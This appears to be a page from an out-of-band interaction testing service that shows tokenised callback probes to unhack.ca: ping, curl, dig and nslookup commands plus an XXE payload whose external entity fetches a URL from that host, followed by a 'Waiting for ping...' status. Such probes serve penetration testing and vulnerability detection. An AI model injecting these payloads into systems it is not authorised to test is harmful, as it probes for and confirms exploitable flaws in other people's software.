$ ping -c1 -p 0000449c46fa8765eda22760f7334f00 unhack.ca
 
$ curl http://unhack.ca/p/00449c46fa8765eda22760f7334f
 
$ dig 00449c46fa8765eda22760f7334f @unhack.ca
 
$ dig 00449c46fa8765eda22760f7334f.ns.unhack.ca
 
C:\> nslookup 00449c46fa8765eda22760f7334f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/00449c46fa8765eda22760f7334f">]>
    <foo>&xxe;</foo>
Waiting for ping...